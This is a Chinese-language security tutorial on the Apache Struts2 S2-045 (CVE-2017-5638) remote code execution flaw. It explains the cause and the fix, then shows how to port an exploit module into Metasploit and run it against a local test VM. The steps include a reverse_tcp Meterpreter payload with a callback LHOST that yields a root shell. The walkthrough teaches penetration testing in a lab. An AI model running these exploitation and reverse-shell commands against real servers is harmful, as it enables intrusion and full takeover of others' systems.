當前位置:
首頁 > 新聞 > metasploit之移植S2-045漏洞代碼模塊實戰提權

metasploit之移植S2-045漏洞代碼模塊實戰提權

2017年3月的某一天,國家信息安全漏洞庫(CNNVD)收到杭州安恆信息技術有限公司(CNNVD一級技術支撐單位)關於Apache Struts2 (S2-045)遠程代碼執行漏洞(CNNVD-201703-152)的情況報送。由於該漏洞影響範圍廣,危害級別高,利用POC更是迅速在網上爆出,一瞬間網路上烽煙四起,血流成河。


0×01 Apache Struts2(S2-045)漏洞簡介


Apache Struts是美國阿帕奇(Apache)軟體基金會負責維護的一個開源項目,是一套用於創建企業級Java Web應用的開源MVC框架,主要提供兩個版本框架產品:Struts 1和Struts 2。Struts2是一個基於MVC設計模式的Web應用框架,它本質上相當於一個servlet,在MVC設計模式中,Struts2作為控制器(Controller)來建立模型與視圖的數據交互。Struts 2是Struts的下一代產品,是在 struts 1和WebWork的技術基礎上進行了合并的全新的Struts 2框架。


Apache Struts 2.3.5 - 2.3.31版本及2.5 - 2.5.10版本存在遠程代碼執行漏洞(CNNVD-201703-152,CVE-2017-5638)。該漏洞是由於上傳功能的異常處理函數沒有正確處理用戶輸入的錯誤信息。導致遠程攻擊者可通過發送惡意的數據包,利用該漏洞在受影響伺服器上執行任意命令。


0×02 S2-045漏洞的原理

1、基於Jakarta(Jakarta Multipart parser)插件的文件上傳功能


2、惡意攻擊者精心構造Content-Type的值


3、通過版本比對定位漏洞原因


coresrcmainjavaorgapachestruts2dispatchermultipartMultiPartRequestWrapper.java coresrcmainjavaorgapachestruts2dispatchermultipartJakartaMultiPartRequest.java coresrcmainjavaorgapachestruts2dispatchermultipartJakartaStreamMultiPartRequest.java


0×03 S2-045漏洞的危害及修復措施


攻擊者可通過發送惡意構造的HTTP數據包利用該漏洞,在受影響伺服器上執行系統命令,進一步可完全控制該伺服器,造成拒絕服務、數據泄露、網站造篡改等影響。由於該漏洞利用無需任何前置條件(如開啟dmi,debug等功能)以及啟用任何插件,因此漏洞危害較為嚴重。


受影響用戶可升級版本至Apache Struts 2.3.32或Apache Struts 2.5.10.1以消除漏洞影響。


官方公告:


https://cwiki.apache.org/confluence/display/WW/S2-045?from=groupmessage&isappinstalled=0


0×04移植S2-045漏洞利用代碼模塊

Metasploit集合了大量的系統漏洞利用代碼,但並不是擁有所有的漏洞代碼,所以Metasploit有一個非常強大的功能,它允許使用者開發自己的漏洞模塊,s2-045的漏洞利用模塊Metasploit雖然還沒有集成,但是網路上已經有相應的滲透模塊了,這些模塊可能是用各種語言編寫的,比如perl、python等,Metasploit支持各種不同語言編寫的模塊移植到其框架中,通過這種機制可以將各種現存的模塊軟體移植成為與Metasploit兼容的滲透模塊。


我們先在github下載S2-045漏洞利用ruby腳本,該腳本已經經過作者測試,可以直接使用,下載地址:https://github.com/rapid7/metasploit-framework/pull/8072,如下圖所示。

metasploit之移植S2-045漏洞代碼模塊實戰提權



把該code的內容COPY下來,保存為struts2_code_exec_jakarta.rb,然後把它放到KALI系統的/usr/share/metasploit-framework/modules/exploits/multi/http/下面。如下圖所示。


了解漏洞利用代碼模塊存儲的文件夾位置非常重要,有助於我們尋找不同模塊所在位置,也有助於Metasploit框架理解模塊的基本用法。完整的模塊腳本構建完成滯後,在合適的位置保存。


現在我們去MSF下面搜索struts2就可以搜到該腳本了,如下圖所示。

metasploit之移植S2-045漏洞代碼模塊實戰提權



0×05 Metasploit下S2-045漏洞提權實戰利用

S2-045漏洞利用代碼移植到Metasploit框架中後,我們就可以開始滲透測試了,關於怎麼獲取測試存在該漏洞的方法方法前面已經講的很詳細了,這裡就不再重複了,此處我們用本地虛擬機搭建的平台來測試,存在漏洞的網址為127.0.0.1/memocreate.action。見下圖。

metasploit之移植S2-045漏洞代碼模塊實戰提權



啟動Metasploit,使用該漏洞模塊,並設置好相應payload,這裡因為我的虛擬機是linux的,所以這裡用linux的payload,接著查看下該模塊具體參數,如下圖所示。


use exploit/multi/http/struts2_code_exec_jakartaset payload linux/x86/meterpreter/reverse_tcp


show options

metasploit之移植S2-045漏洞代碼模塊實戰提權



這裡我們輸入如下命令按實際情況進行設置,見下圖。


Set RHOST 127.0.0.1

set RPORT 80


Set TARGETURI /memocreate.action


Set LHOST 192.168.2.83


Run


攻擊完成後,我們進入shell下可以看到,當前已經是root許可權了,利用S2-045漏洞入侵已經成功。如下圖所示。

metasploit之移植S2-045漏洞代碼模塊實戰提權



TheEnd.


本文為 shuteer 原創稿件,授權嘶吼獨家發布,未經許可禁止轉載


喜歡這篇文章嗎?立刻分享出去讓更多人知道吧!

本站內容充實豐富,博大精深,小編精選每日熱門資訊,隨時更新,點擊「搶先收到最新資訊」瀏覽吧!


請您繼續閱讀更多來自 嘶吼RoarTalk 的精彩文章:

深度分析CVE-2017-0007是如何繞過防護措施的
暴力枚舉Gmail郵箱地址的新姿勢
賽門鐵克:CIA泄漏的黑客工具應對16國的40多起網路攻擊負責
黑客如何接管銀行的所有在線業務?

TAG:嘶吼RoarTalk |

您可能感興趣

Metasploit移植S2-045漏洞代碼模塊提權實戰
內網大殺器!Metasploit移植MS17-010漏洞代碼模塊利用
思科CloudCenter Orchestrator系統曝提權漏洞CVE-2016-9223
42款思科產品或受Apache Struts2遠程代碼執行漏洞(S2-053)影響
CVE-2017-4918:VMware Horizon的macOS客戶端代碼注入漏洞分析
2016年度Web漏洞統計之Exploit-db
2016年Exploit Kits漏洞TOP 10分析 | FreeBuf年終策劃
watchOS 4.0.1 發布:修復已知Wi-Fi漏洞
CVE-2017-0199——首個Microsoft Office RTF漏洞
iOS10.3中Safari scareware漏洞已被徹底修復
iOS 10.3或存在Spotlight漏洞 你遇到了嗎
iOS 11 beta iCloud Activation Lock曝漏洞
Tomcat 遠程代碼執行漏洞分析(CVE-2017-12615)及補丁 Bypass
iPhone 3GS現新bootrom漏洞
GitHub現VMware虛擬機逃逸Exploit,利用三月曝光的CVE-2017-4901漏洞
Android當選「2016漏洞之王」
metasploit之Windows Services漏洞提權實戰
Apache Struts漏洞導致1.43億美國公民信息被泄
漏洞預警 | Apache Struts2 曝任意代碼執行漏洞 (S2-045,CVE-2017-5638)